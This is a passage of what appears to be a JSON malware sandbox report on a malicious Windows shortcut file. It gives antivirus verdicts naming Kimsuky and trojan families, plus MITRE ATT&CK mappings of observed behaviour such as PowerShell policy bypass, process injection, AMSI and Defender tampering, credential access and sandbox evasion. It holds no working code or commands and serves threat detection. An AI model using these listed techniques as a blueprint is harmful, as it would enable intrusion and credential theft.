ea4e20e198ea61e45a6903e.bin","file_type":["lnk"],"file_type_id":"file link","file_size":987042,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1774585255000,"last_seen":1774585260000,"last_multi_scan":1774585260000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":null},"stats":{"av":{"malicious_count":8,"suspicious_count":0,"total_engines":25},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":73},"sandbox_signatures":{"informative_count":177,"suspicious_count":12,"malicious_count":8,"total":197},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/LNK.Kimsuky.K","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"CMD:Heur.BZC.YAX.Pantera.229.092F4C5B","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"CMD:Heur.BZC.YAX.Pantera.229.092F4C5B (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"LNK/Kimsuky.AA trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"HEUR:Trojan/LNK.Agent.b","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 0060e1851 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Mal/LnkObf-A","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"malicious","threat_name":"Trojan-JACI!302725413076","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"CMD:BZC.YAX.Pantera.229","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Contains ability to load modules (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"malicious","value":"Executes powershell requesting to bypass execution policy"},{"type":"informative","value":"Observed Powershell command strings"},{"type":"informative","value":"Executes powershell with commandline"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Found named pipe like strings"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Execution","technique":"Scheduled Task","attack_id":"T1053.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1053/005","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled task-related activity (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains reference to multiple windows system processes"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"Sample was identified as malicious by a trusted antivirus engine"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Contains ability to set/modify configuration (Powershell command string)"},{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to create/modify Windows services (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Persistence","technique":"Socket Filters","attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Able to monitor socket connection"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to start a process (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Modifies Software Policy Settings"},{"type":"informative","value":"Writes registry keys"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"malicious","value":"Script loads executable in memory (Antimalware Scan Interface)"},{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Writes data to a remote process"},{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"},{"type":"informative","value":"Able to inject code into another process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"},{"type":"informative","value":"Contains ability to modify access token privileges (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"YARA signature match – Encryption algorithm"},{"type":"suspicious","value":"Invokes a process with a long commandline"},{"type":"informative","value":"Calls an API typically used to acquire handle to a key container within a CSP"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Process spawned with a very long commandline"},{"type":"informative","value":"Shows ability to obfuscate file or information"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"},{"type":"informative","value":"Able to identify sandbox environment running process"},{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","identifiers":[{"type":"informative","value":"Able to unregister scheduled task using PowerShell command"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Renames files"},{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"informative","value":"Contains ability to disable Windows Defender using PowerShell"},{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Able to decrypt/decode data"},{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Creates mutants"},{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Defense Evasion","technique":"Compile After Delivery","attack_id":"T1027.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/004","identifiers":[{"type":"suspicious","value":"Invokes the C# compiler"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"suspicious","value":"Marks file for deletion"},{"type":"informative","value":"Calls an API typically used to remove a directory"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Defense Evasion","technique":"LNK Icon Smuggling","attack_id":"T1027.012","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/012","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"malicious","value":"YARA signature match - LNK file executes using PowerShell"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Defense Evasion","technique":"System Binary Proxy Execution","attack_id":"T1218","attack_id_wiki":"https://attack.mitre.org/techniques/T1218","identifiers":[{"type":"malicious","value":"Executes system binary through link file with suspicious command parameters"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Creates file in AppData directory"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Tries to access recent files"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access LNK files (Windows shortcut)"},{"type":"informative","value":"Tries to access Powershell profile file"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Touches files in the Windows directory"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve operating system version"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Queries volume information of an entire harddrive"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Contains ability to determine disk drive type (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"suspicious","value":"Calls an API typically used to find and list the Windows drive types"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Reads the windows installation date"},{"type":"informative","value":"Able to discover operating system information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Monitors specific registry key for changes"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Found registry location strings in memory"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"informative","value":"Able to identify remote systems"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"malicious","value":"Spawns a lot of processes"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Spawns new processes"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve user name"},{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API typically used to enumerate active windows"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"},{"type":"informative","value":"Calls an API typically used to move file or directory"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Writes files in a temp directory"},{"type":"informative","value":"Tries to open documents files"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Creates directory on disk"},{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to get content from a webpage (Powershell command string)"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Dropped files"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Found potential IP address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Calls an API typically used to import asymmetric cryptographic keys into a CSP"},{"type":"informative","value":"Contains ability to perform encryption/decryption using RSA algorithm"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Command and Control","technique":"Mail 